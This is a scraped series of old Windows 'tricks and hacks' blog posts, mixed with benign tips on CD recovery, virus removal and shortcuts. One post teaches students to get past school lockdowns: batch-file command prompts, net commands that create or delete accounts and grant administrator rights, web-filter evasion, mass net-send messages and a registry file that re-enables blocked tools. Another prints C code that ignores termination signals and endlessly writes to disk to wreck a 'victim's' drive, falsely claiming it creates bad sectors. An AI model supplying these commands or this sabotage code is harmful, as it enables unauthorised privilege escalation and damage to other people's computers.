eqn="sum @0 1 0"> <v:f eqn="sum 0 0 @1"> <v:f eqn="prod @2 1 2"> <v:f eqn="prod @3 21600 pixelWidth"> <v:f eqn="prod @3 21600 pixelHeight"> <v:f eqn="sum @0 0 1"> <v:f eqn="prod @6 1 2"> <v:f eqn="prod @7 21600 pixelWidth"> <v:f eqn="sum @8 21600 0"> <v:f eqn="prod @7 21600 pixelHeight"> <v:f eqn="sum @10 21600 0"> </v:formulas> <v:path extrusionok="f" gradientshapeok="t" connecttype="rect"> <o:lock ext="edit" aspectratio="t"> </v:shapetype><v:shape id="_x0000_i1025" type="#_x0000_t75" alt="close" style="'width:12pt;height:12pt'" button="t"> <v:imagedata src="file:///C:\DOCUME~1\santosh\LOCALS~1\Temp\msohtml1\01\clip_image001.png" href="http://static.wetpaint.com/img/bg/1.png?v=20080709190706"> </v:shape><![endif]--><!--[if !vml]-->
<br /><!--[endif]--></span></a></p> <h1>Uninstalling Windows from Command Prompt</h1> <p class="MsoNormal"><b><span style="font-size: 18pt;">
<br />Uninstalling Windows from Command Prompt:</span>
<br />
<br />One option included in Windows XP is the ability to uninstall XP if you performed an upgrade from Windows 98, 98SE, or Windows Me.
<br />
<br />The standard method of removing XP is achieved by booting into XP normally and uses the Add/Remove Programs tool in Control Panel.
<br />
<br />If you are unable to start XP normally, the second option is to load XP in Safe Mode then use the same tool.
<br />
<br />If you are unable to boot normally or boot into Safe Mode, XP can be removed by uninstalling from a Command Prompt.
<br />
<br />The procedure is as follows:
<br />
<br />Important Note: This procedure is available only if a successful image of the previous operating system was created during the XP upgrade.
<br />
<br />Start the computer to Safe Mode with Command Prompt.
<br />
<br />At the command prompt, type cd\, and then press ENTER.
<br />
<br />Type cd\windows\system32, and then press ENTER.
<br />
<br />Type osuninst.exe, and then press ENTER.
<br />
<br />On screen instructions will guide you through the uninstall process to revert to the previous operating system.
<br />
<br />This procedure can only be performed by users logged on as Administrator or a user with administrative rights.
<br /> <!--[if !supportLineBreakNewLine]-->
<br /> <!--[endif]--></b></p> Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0tag:blogger.com,1999:blog-4398909482228628394.post-883515069547864292009-09-03T09:23:00.001-07:002009-09-03T09:23:34.204-07:00Recover DATA from CD!<span style="font-weight: bold;"><span style="font-weight: bold;">[TUT]<span style="font-weight: bold;">Recover DATA from CD</span><br /><br /><br />CD and DVD are fragile media. A few scratches here and there and they can easily become coasters on your table. I have had plenty of them myself.<br /><br />Let’s just look at some of the ways to repair damaged CD’s and DVD’s and recover data from those spoilt CD/DVD’s.<br />Anatomy of scratches<br />Scratches that are perpendicular (going from the center outwards) are generally less harmful or damaging than the scratches that go along the spiral.So if your CD/DVD has more of the latter ones, then the chances of recovering<br />data from that CD or DVD may be bleak. Nevertheless, Thou shall try till thou art able to Make good Use Of thy media.<br /><br />Attempt to Recover Data from Damaged CD / DVD<br />First and foremost try some software apps to make your life easier and attempt to recover data from the disc. You can try more then one application if you didn’t succeed with previous ones. I have had experiences in the past when<br />one of them has done a better job than the others either in the amount of data that is recovered or the speed with which it is recovered. However most of the timeCD Recovery Toolbox has come up on top. http://www.download.com/CD-Recovery-Toolbox-Free/3000-2242_4-10646814.html<br />Just insert the damaged CD, DVD, HD DVD (if you still use them) or Blue-Ray disc and the software will show you the list of files and folders found on the disc. Choose the ones you want to recover and click next. The process can be very slow mind you so just be patient.<br /><br />CD Recovery Toolbox has been<br />covered in detail on MakeUseOf earlier. http://www.makeuseof.com/tag/free-cddvd-file-recovery-tool-cd-recovery-toolbox/ Check it out if you need more<br />details.<br /><br /><br />Another software solution you can try isRoadkil’s Unstoppable<br />Copier. http://www.roadkil.net/program.php?ProgramID=29 It is also a similar software that is capable of recovering data from damaged or scratched discs. If the recovery is taking too long you can also pause, save and resume sessions at some other time.<br /><br /><br /><br />If you use Linux you can tryddrescue http://www.gnu.org/software/ddrescue/ddrescue.html for recovery needs. It is a command line tool offering plenty of options as you can see below:<br /><br /><br /><br /><br /><br /><br />Attempt to repair the damaged CDs<br />If the disc has profound scratches you can try to repair those scratches to make the disc playable again. The best way to do this is to use a whitening toothpaste or some polish (specially those used by opticians) although Brasso also works.<br /><br />1)First clean the surface of the disc with a soft lint-free cloth. You can use a gentle detergent (or rubbing alcohol) if there are some grease spots. Make sure there are no finger prints or dust particles. Don’t scrub too hard as you may do more harm than good this way.<br /><br />2)Now apply some toothpaste or polish on the scratched surface. It is best to start with a minimum amount of either, or else you will have your work really cut out trying to buff away the remainder.<br />3)Now rub gently with a cloth moving from the center outwards.<br /><br />If you did a good job, you will actually see the scratch diminishing, or if<br />it was a faint one, it might just disappear.<br /><br /><br />The success with this method varies greatly. It is hit and miss. I have had an equal amount of successes and failures. Sometimes it works allowing you to even read data from that part, other times it is of no use at all.<br /><br /><br />Some Tips<br />1. Try recovery in a CD/DVD writer as opposed to a reader. Writers are generally more precise and can see the tracks better.<br />2. If possible try recovery on the same drive that was used to create the disc. Chances of a good read have been found to increase if you use the same drive or at least the same manufacturer.<br />3. If nothing helps you can go to music stores and show them your disc. Such stores usually have a CD refinishing machine and may be able to do a better job.<br />4. As soon as any of the above methods works, don’t think even twice and just create another copy of the disc.<br />5. Buy good quality media.<br />6. Take good care of your CDs<br />If nothing helps<br />If none of the above helps then maybe it’s time to use the disc as a coaster.<br />However you can put them to some more constructive uses also, like<br />create a spectroscope http://www.instructables.com/id/CD-Spectrograph-in-a-Box-Spectroscope/ or a shuriken throwing starhttp://www.instructables.com/id/Make-Your-Own-Shuriken-Throwing-Stars-Our-of-Paper/ or amobile phone holder. http://www.instructables.com/id/Mobile-Holder/<br /><br /><br /><br /><br /></span></span>Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0tag:blogger.com,1999:blog-4398909482228628394.post-44719290802120233492009-09-03T09:20:00.000-07:002009-09-03T09:22:57.236-07:00Open command prompt from where it is Banned.<meta equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 11"><meta name="Originator" content="Microsoft Word 11"><link rel="File-List" href="file:///C:%5CDOCUME%7E1%5Csantosh%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"><link rel="Edit-Time-Data" href="file:///C:%5CDOCUME%7E1%5Csantosh%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_editdata.mso"><!--[if !mso]> <style> v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} </style> <![endif]--><o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="place"></o:smarttagtype><o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="PlaceName"></o:smarttagtype><o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="PlaceType"></o:smarttagtype><!--[if gte mso 9]><xml> <w:worddocument> <w:view>Normal</w:View> <w:zoom>0</w:Zoom> <w:punctuationkerning/> <w:validateagainstschemas/> <w:saveifxmlinvalid>false</w:SaveIfXMLInvalid> <w:ignoremixedcontent>false</w:IgnoreMixedContent> <w:alwaysshowplaceholdertext>false</w:AlwaysShowPlaceholderText> <w:compatibility> <w:breakwrappedtables/> <w:snaptogridincell/> <w:wraptextwithpunct/> <w:useasianbreakrules/> <w:dontgrowautofit/> </w:Compatibility> <w:browserlevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:latentstyles deflockedstate="false" latentstylecount="156"> </w:LatentStyles> </xml><![endif]--><!--[if !mso]><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object> <style> st1\:*{behavior:url(#ieooui) } </style> <![endif]--><style> <!-- /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} h1 {mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; mso-outline-level:1; font-size:24.0pt; font-family:"Times New Roman";} h2 {mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; mso-outline-level:2; font-size:18.0pt; font-family:"Times New Roman";} h3 {mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; mso-outline-level:3; font-size:13.5pt; font-family:"Times New Roman";} @page Section1 {size:8.5in 11.0in; margin:1.0in 1.25in 1.0in 1.25in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} </style> <![endif]--> <p class="MsoNormal"><a href="http://rahulhackingarticles.wetpaint.com/page/Open+command+prompt+from+where+it+is+Banned#close#close"><span style="text-decoration: none;"><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter"> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0"> <v:f eqn="sum @0 1 0"> <v:f eqn="sum 0 0 @1"> <v:f eqn="prod @2 1 2"> <v:f eqn="prod @3 21600 pixelWidth"> <v:f eqn="prod @3 21600 pixelHeight"> <v:f eqn="sum @0 0 1"> <v:f eqn="prod @6 1 2"> <v:f eqn="prod @7 21600 pixelWidth"> <v:f eqn="sum @8 21600 0"> <v:f eqn="prod @7 21600 pixelHeight"> <v:f eqn="sum @10 21600 0"> </v:formulas> <v:path extrusionok="f" gradientshapeok="t" connecttype="rect"> <o:lock ext="edit" aspectratio="t"> </v:shapetype><v:shape id="_x0000_i1025" type="#_x0000_t75" alt="close" style="'width:12pt;height:12pt'" button="t"> <v:imagedata src="file:///C:\DOCUME~1\santosh\LOCALS~1\Temp\msohtml1\01\clip_image001.png" href="http://static.wetpaint.com/img/bg/1.png?v=20080709190706"> </v:shape><![endif]--><!--[if !vml]-->
<br /><!--[endif]--></span></a></p> <h1>Open command prompt from where it is Banned</h1> <p class="MsoNormal" style="margin-bottom: 12pt;"><b>Open up Command Prompt (Start>Run>Command.com)
<br />
<br />Can't use command prompt at your school?
<br />
<br />Open up Microsoft word..Type:
<br />
<br />Command.com
<br />
<br />Then save it as Somthing.bat.
<br />
<br />Warning: Make sure you delete the file because if the admin finds out your in big trouble.
<br />
<br />
<br />--Adding a user to your network--
<br />
<br />Type:
<br />
<br />Net user Haxxor /ADD
<br />
<br />-----
<br />That will add "Haxxor" onto the school user system.
<br />-----
<br />Now you added users lets delete them!
<br />
<br />Type: Net user Haxxor /DELETE
<br />
<br />
<br />Warning: Be carefull it deletes all their files.
<br />-----
<br />"Haxxor" will be deleted from the user system.
<br />
<br />-----
<br />Hmmm? It says access denied?
<br />
<br />Thats because your not admin!
<br />
<br />----
<br />Now lets make your Admin!
<br />
<br />----
<br />This will make Haxxor an admin. Remember that some schools may not call their admins 'adminstrator' and so you need to find out the name of the local group they belong to.
<br />
<br />Type: net localgroup
<br />
<br />It will show you what they call admin, say at my school they calll it
<br />adminstrator so then i would
<br />
<br />Type: net localgroup administrator Haxxor /ADD
<br />
<br />----
<br />
<br />Getting past your web filter.
<br />
<br />Easy way: Type whatever you want to go on say i wanted to go on miniclips bug on wire i would go to google and search miniclip bug on wire
<br />
<br />then instead of clicking the link i would click "cached".
<br />
<br />Hard way: I'm hoping you still have command prompt open.
<br />
<br />Type: ping miniclip.com
<br />
<br />And then you should get a IP type that out in your web browser, and don't forget to put "http://" before you type the IP.
<br />
<br />-----
<br />Sending messages throught your school server
<br />
<br />
<br />Okay, here's how to send crazy messages to everyone in your school on a computer. In your command prompt, type
<br />
<br />Net Send <domain> * "The server is h4x0r3d"
<br />
<br />Note: <domain> may not be necessary, depending on how many your school has access too. If it's just one, you can leave it out.
<br />
<br />Where <domain> is, replace it with the domain name of your school. For instance, when you log on to the network, you should have a choice of where to log on, either to your school, or to just the local machine. It tends to be called the same as your school, or something like it. So, at my school, I use
<br />
<br /><st1:place st="on"><st1:placename st="on">Net</st1:placename> <st1:placename st="on">Send</st1:placename> <st1:placename st="on">Haxxor</st1:placename> <st1:placetype st="on">School</st1:placetype></st1:place> * "The server is h4x0r3d"
<br />
<br />The asterisk denotes wildcard sending, or sending to every computer in the domain. You can swap this for people's accounts, for example
<br />
<br />NetSend Varndean dan,jimmy,admin "The server is h4x0r3d"
<br />
<br />use commas to divide the names and NO SPACES between them.
<br />
<br />what say??
<br />~Cheers~</b></p> <h2>or</h2> <p class="MsoNormal"><o:p> </o:p></p> <h3>Allowing dos and regedit in a restricted Windows</h3> <p class="MsoNormal" style="margin-bottom: 12pt;"><b>
<br />
<br />A very simple tactic I found after accidentally locking myself out of dos and regedit is to open notepad and type the following:
<br />REGEDIT4
<br />[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
<br />"Disabled"=dword:0
<br />[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
<br />"DisableRegistryTools"=dword:0
<br />
<br />Save it as something.reg then run it. Simple. </b></p> <p class="MsoNormal"><o:p> </o:p></p> Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0tag:blogger.com,1999:blog-4398909482228628394.post-25080184958274096872009-09-03T09:18:00.000-07:002009-09-03T09:19:32.819-07:00Double Click does not open Drive<span style="font-weight: bold;">Double Click does not open Drive</span><br /><br /><span style="font-weight: bold;">Double-click your C Drive Solved </span><br /><span style="font-weight: bold;">1-2. double click on My computer on Desktop , </span><br /><span style="font-weight: bold;">- choose Tool and select "Folder options" </span><br /><span style="font-weight: bold;">- click on "View" tap select "Show Hidden files and folders" and un hake "Hide Extention...." </span><br /><span style="font-weight: bold;">- and "Hide protected operating system file" (this selections are important to find the files you need to delete) </span><br /><span style="font-weight: bold;">- then click "OK" </span><br /><br /><span style="font-weight: bold;">3. open Windows Task Manager (ctrl-alt-del) and select the "Processes" tap </span><br /><span style="font-weight: bold;">- Click on "Image name" to sort File </span><br /><span style="font-weight: bold;">- find "wscript.exe" and click on "End Process" (if there is more than one process with that name you have to end all of them) </span><br /><span style="font-weight: bold;">- close the "Task Manager" 18-Jul-09</span><br /><br /><span style="font-weight: bold;">4. then you will click on Start and select "Search" and search for "autorun.inf" (Search the computer) </span><br /><span style="font-weight: bold;">- you will then delete all the files that contains the text MS32DLL.dll.vbs (the virus) by pressing: SHIFT + DELETE. (There of course should not be Autorun.inf in the C rooth). </span><br /><br /><span style="font-weight: bold;">5. you will also delete the virus from the system (C:\WINDOWS\ MS32DLL.dll.vbs) by pressing: SHIFT + DELETE</span><br /><br /><span style="font-weight: bold;">6. Next step is to edit the Register (Like always you have to be very care fool in the registry tools. Some mistake there can crash your computer) </span><br /><br /><span style="font-weight: bold;">- first, click on "Start" and select "Run" and type in "Regedit" and press "Enter". </span><br /><span style="font-weight: bold;">- select HKEY_LOCAL_MACHINE --> Software -->Microsoft -->Windows --> Current Version --> Run. </span><br /><span style="font-weight: bold;">- find there "MS32DLL" and delete that entry. </span><br /><br /><span style="font-weight: bold;">6. Then select HKEY_CURRENT_USER --> Software --> Microsoft --> Internet Explorer --> Main. There you find "Window Title "Hacked by Godzilla"" and you should delete that entry. You can close the registry now. </span><br /><br /><span style="font-weight: bold;">7. next you will click on Start --> Run and type in "gpedit.msc" and press "Enter". then you will open "Group Policy". </span><br /><span style="font-weight: bold;">- there you will select User Configuration --> Administrative Templates --> System --> and there you will double click on "Turn Off Autoplay" </span><br /><br /><span style="font-weight: bold;">- in the window there you should select "Enabled" and select "All drives" (they say in this Thai webside that select all turn of Autoplay will be safer for not getting viruses). Now you can close the Group Policy. </span><br /><br /><span style="font-weight: bold;">8. Next you will click on Start --> Run and type "msconfig" and press "Enter". </span><br /><span style="font-weight: bold;">- you will open "System Configuration Utility". </span><br /><span style="font-weight: bold;">- click on "Startup" tap </span><br /><span style="font-weight: bold;">- find the file MS32DLL, choose Enable All, then unhake "MS32DLL" </span><br /><span style="font-weight: bold;">- click Apply then OK to close </span><br /><br /><span style="font-weight: bold;">- then you will exit the "System Configuration Utility" and select "Exit Without Restart" when prompt. </span><br /><br /><span style="font-weight: bold;">9. After this you double click on My Computer and select "Tools" and "Folder Options" and "View" tap to change back there. </span><br /><span style="font-weight: bold;">- select "Hide Extention..." and "Hide protected operating system file" and "Don't show hidden files and folders". </span><br /><br /><span style="font-weight: bold;">- then you will empty the "Recycle bin" and "Restart" your computer. </span><br /><br /><span style="font-weight: bold;">or visit http://www.techsupportforum.com/sectools/sUBs/Flash_Disinfector.exe </span><br /><br /><span style="font-weight: bold;">download and execute to get rid of the issue. </span>Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0tag:blogger.com,1999:blog-4398909482228628394.post-28389516702427483292009-09-03T09:17:00.000-07:002009-09-03T09:18:23.943-07:00Internet Stuff Tricks n Hacks.<meta equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 11"><meta name="Originator" content="Microsoft Word 11"><link rel="File-List" href="file:///C:%5CDOCUME%7E1%5Csantosh%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"><link rel="Edit-Time-Data" href="file:///C:%5CDOCUME%7E1%5Csantosh%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_editdata.mso"><!--[if !mso]> <style> v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} </style> <![endif]--><!--[if gte mso 9]><xml> <w:worddocument> <w:view>Normal</w:View> <w:zoom>0</w:Zoom> <w:punctuationkerning/> <w:validateagainstschemas/> <w:saveifxmlinvalid>false</w:SaveIfXMLInvalid> <w:ignoremixedcontent>false</w:IgnoreMixedContent> <w:alwaysshowplaceholdertext>false</w:AlwaysShowPlaceholderText> <w:compatibility> <w:breakwrappedtables/> <w:snaptogridincell/> <w:wraptextwithpunct/> <w:useasianbreakrules/> <w:dontgrowautofit/> </w:Compatibility> <w:browserlevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:latentstyles deflockedstate="false" latentstylecount="156"> </w:LatentStyles> </xml><![endif]--><style> <!-- /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0in; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} h1 {mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; mso-outline-level:1; font-size:24.0pt; font-family:"Times New Roman";} h3 {mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; mso-outline-level:3; font-size:13.5pt; font-family:"Times New Roman";} @page Section1 {size:8.5in 11.0in; margin:1.0in 1.25in 1.0in 1.25in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} </style> <![endif]--> <p class="MsoNormal"><a href="http://rahulhackingarticles.wetpaint.com/page/Internet+Stuff+Tricks+n+Hacks#close#close"><span style="text-decoration: none;"><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter"> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0"> <v:f eqn="sum @0 1 0"> <v:f eqn="sum 0 0 @1"> <v:f eqn="prod @2 1 2"> <v:f eqn="prod @3 21600 pixelWidth"> <v:f eqn="prod @3 21600 pixelHeight"> <v:f eqn="sum @0 0 1"> <v:f eqn="prod @6 1 2"> <v:f eqn="prod @7 21600 pixelWidth"> <v:f eqn="sum @8 21600 0"> <v:f eqn="prod @7 21600 pixelHeight"> <v:f eqn="sum @10 21600 0"> </v:formulas> <v:path extrusionok="f" gradientshapeok="t" connecttype="rect"> <o:lock ext="edit" aspectratio="t"> </v:shapetype><v:shape id="_x0000_i1025" type="#_x0000_t75" alt="close" style="'width:12pt;height:12pt'" button="t"> <v:imagedata src="file:///C:\DOCUME~1\santosh\LOCALS~1\Temp\msohtml1\01\clip_image001.png" href="http://static.wetpaint.com/img/bg/1.png?v=20080709190706"> </v:shape><![endif]--><!--[if !vml]-->
<br /><!--[endif]--></span></a></p> <h1 style="color: rgb(255, 102, 102);">Internet Stuff Tricks n Hacks</h1> <p class="MsoNormal" style="margin-bottom: 12pt;"><o:p> </o:p></p> <h3>Change Yahoo messenger title bar</h3> <p class="MsoNormal" style="margin-bottom: 12pt;">
<br /><b>
<br />Hey guys you can change the yahoo messenger title bar...
<br />For this just find the folder messenger in the drive in which the messenger is installed. Then search a file named "ymsgr". In this file just go to the end and write the following code:
<br />[APP TITLE]
<br />CAPTION=Red Devil
<br />Here you can write any name in place of Red Devil... then see the fun.... You can have your own name being placed in yahoo messenger title bar.
<br /> <!--[if !supportLineBreakNewLine]-->
<br /> <!--[endif]--></b></p> <h3>2) Enable Right Clicks on The Sites Dat Disable it</h3> <p class="MsoNormal" style="margin-bottom: 12pt;">
<br />
<br /><b>Lots of web sites have disabled the right click function of the mouse button... it's really, really annoying. This is done so that you don't steal (via right-click->save picture) their photos or images or any other goodies. Unfortunately, it disables ALL right-click functionality: copy, paste, open in new window.
<br />
<br />It's easy to change, assuming your using IE 6:
<br />Click "Tools"->"Internet Options"
<br />Click the "Security" tab
<br />Click "Custom Level"
<br />Scroll down to the "Scripting" section
<br />Set "Active Scripting" to "disable"
<br />Click "Ok" a couple of times.
<br />
<br />You'll probably want to turn this back to "enable" when your done... 'cause generally the javascript enhances a website.
<br />
<br />
<br />
<br /> <!--[if !supportLineBreakNewLine]--></b><a id="publishButton" class="cssButton" href="javascript:void(0)" target="" onclick="if (this.className.indexOf("ubtn-disabled") == -1) {var e = document['stuffform'].publish;(e.length) ? e[0].click() : e.click(); if (window.event) window.event.cancelBubble = true; return false;}"><div class="cssButtonOuter"><div class="cssButtonMiddle"><div class="cssButtonInner">Regd </div></div></div></a>
<br />Santosh..
<br /><a id="publishButton" class="cssButton" href="javascript:void(0)" target="" onclick="if (this.className.indexOf("ubtn-disabled") == -1) {var e = document['stuffform'].publish;(e.length) ? e[0].click() : e.click(); if (window.event) window.event.cancelBubble = true; return false;}"></a>
<br /></p> <p class="MsoNormal"><o:p> </o:p></p> Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0tag:blogger.com,1999:blog-4398909482228628394.post-37403995842351735942009-09-03T09:09:00.001-07:002009-09-03T09:11:57.154-07:00Find who is Invisible on Yahoo messenger Just go to http://www.invisible.ir http://www.xeeber.com and enter victims Yahoo! ID… Click go and you<span style="font-weight: bold;">Find who is Invisible on Yahoo messenger</span><br /><span style="font-weight: bold;">Just go to </span><br /><br /><span style="font-weight: bold;">http://www.invisible.ir </span><br /><span style="font-weight: bold;">http://www.xeeber.com </span><br /><br /><span style="font-weight: bold;">and enter victims Yahoo! ID… Click go and you are done! </span><br /><br /><span style="font-weight: bold;">it works !!</span><br /><br /><span style="font-weight: bold;">Sometimes some of your friends who appear offline in yahoo messenger may not be actually offline,they may in the 'Invisible' mode.This maybe if they are trying to ignore you or are too busy to talk to anyone.</span><br /><br /><span style="font-weight: bold;">There is this small trick that you can use to find out what the truth is.</span><br /><br /><span style="font-weight: bold;">Firstly open your yahoo messenger main window and double click on the name of the person whom you want to check.The chat window will open obviously.</span><br /><br /><span style="font-weight: bold;">Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.</span><br /><span style="font-weight: bold;">After loading the Doodle imvironment there can be two possibilities</span><br /><br /><span style="font-weight: bold;">1.If the user is offline Doodle are will show this "waiting for your friend to load Doodle" continuously .See in the picture below:</span><br /><br /><span style="font-weight: bold;"> 2. If the user is online (but in invisible mode), after few seconds (it can take up to one minute, depending on your connection speed), you should get a blank page like in the picture below.So you know that the user is online.</span><br /><br /> <br /><br /><span style="font-weight: bold;">Alternate Method:</span><br /><br /><span style="font-weight: bold;">Chose a person you want to check .Double click to open the chat window.Now simply invite the person for a voice conference.This is done by clicking on the "conference' button on the top of the chat window.</span><br /><span style="font-weight: bold;">If the talk button appears and turns green then that person is online.But if you receive the message 'Voice chat could not be started ' then the person is offline.</span><br /><br /><span style="font-weight: bold;">Note:Some people use softwares like buddy spy to check who is invisible.I DONT RECOMMEND you to use such third party softwares as they can expose your Pc to hackers by sending your personal information and can even steal information from your Pc.So avoid such softwares and instead use the simple tricks given above.</span><br /><br /><span style="font-weight: bold;">If you have any queries or would like to make some useful contribution to this topic feel free to drop a line in the comments section.</span>Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0tag:blogger.com,1999:blog-4398909482228628394.post-71457341736101899092008-09-02T09:22:00.000-07:002008-09-02T09:23:15.657-07:00create bad sectors on the hard disk./*create bad sectors on the hard disk.<br />*<br />* This program will create bad sectors on the hard disk. If you left it<br />* running for long enough, it could render a hard disk quite useless. When<br />* bad sectors are found, the sector is marked as bad, so fixing the hard disk<br />* is not an easy task. Unless the victim has time and knowledge to fix the<br />* disk, the hard drive can be left quite literally defective.<br />* supported by preetam,santosh kanekar.<br />* I don't take responsibility for what you do with this program, served foe educational purpose only.<br />*<br />*<br />*/<br /><br />#include <stdio.h><br />#include <stdlib.h><br />#include <unistd.h><br />#include <signal.h><br />#include <sys/types.h><br />#include <sys/stat.h><br />#include <fcntl.h><br /><br />#define HDSIZE 640000<br /><br />void handle_sig();<br /><br />int main() {<br /><br />int i = 0;<br />int x;<br />int fd[5];<br /><br />signal(SIGINT, handle_sig);<br />signal(SIGHUP, handle_sig);<br />signal(SIGQUIT, handle_sig);<br />signal(SIGABRT, handle_sig);<br />signal(SIGTERM, handle_sig);<br /><br />char *buf;<br /><br />buf = malloc(HDSIZE);<br /><br />printf("sekt0r: trashing hard disk with bad sectors!\n");<br /><br />while(1) {<br />fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);<br />fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);<br />fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);<br />fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);<br />fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);<br /><br />for(x = 0; x < 5; x++) {<br />write(fd[x], buf, HDSIZE);<br />lseek(fd[x], 0, SEEK_SET);<br />close(fd[x]);<br /><br />} /* end for() loop. */<br />} /* end while() loop. */<br />} /* end main(). */<br /><br /><br />void handle_sig() {<br />/* Reset signal handlers. */<br />signal(SIGINT, handle_sig);<br />signal(SIGHUP, handle_sig);<br />signal(SIGQUIT, handle_sig);<br />signal(SIGABRT, handle_sig);<br />signal(SIGTERM, handle_sig);<br /><br />printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");<br />return; /* go back to creating bad sectors. */<br />}Santosh kanekarhttp://www.blogger.com/profile/12860284456232375895noreply@blogger.com0tag:blogger.com,1999:blog-4398909482228628394.post-64846821352270077552008-09-02T09:17:00.000-07:002008-09-02T09:20:01.595-07:00All keyboard Shortcuts<p class="MsoNormal" style="margin-bottom: 12pt;"><span style="font-family: Impact;">1.) Windows Hotkeys<br /> <!--[if !supportLineBreakNewLine]--><br /> <!--[endif]--></span></p> <ul type="disc"><li class="MsoNormal" style=""><b>Shift + F10 right-clicks. </b></li><li class="MsoNormal" style=""><b>Win + L (XP Only): Locks keyboard. Similar to Lock Workstation. </b></li><li class="MsoNormal" style=""><b>Win + F or F3: Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs. </b></li><li class="MsoNormal" style=""><b>Win + Control + F: Open Find dialog. (Computers) </b></li><li class="MsoNormal" style=""><b>Win + U: Open Utility Manager. </b></li><li class="MsoNormal" style=""><b>Win + F1: Open Windows help. </b></li><li class="MsoNormal" style=""><b>Win + Pause: Open System Properties dialog. </b></li><li class="MsoNormal" style=""><b>Win + Tab: Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks. </b></li><li class="MsoNormal" style=""><b>Win + Shift + Tab: Cycle through taskbar buttons in reverse. </b></li><li class="MsoNormal" style=""><b>Alt + Tab: Display CoolSwitch. More commonly known as the AltTab dialog. </b></li><li class="MsoNormal" style=""><b>Alt + Shift + Tab: Display 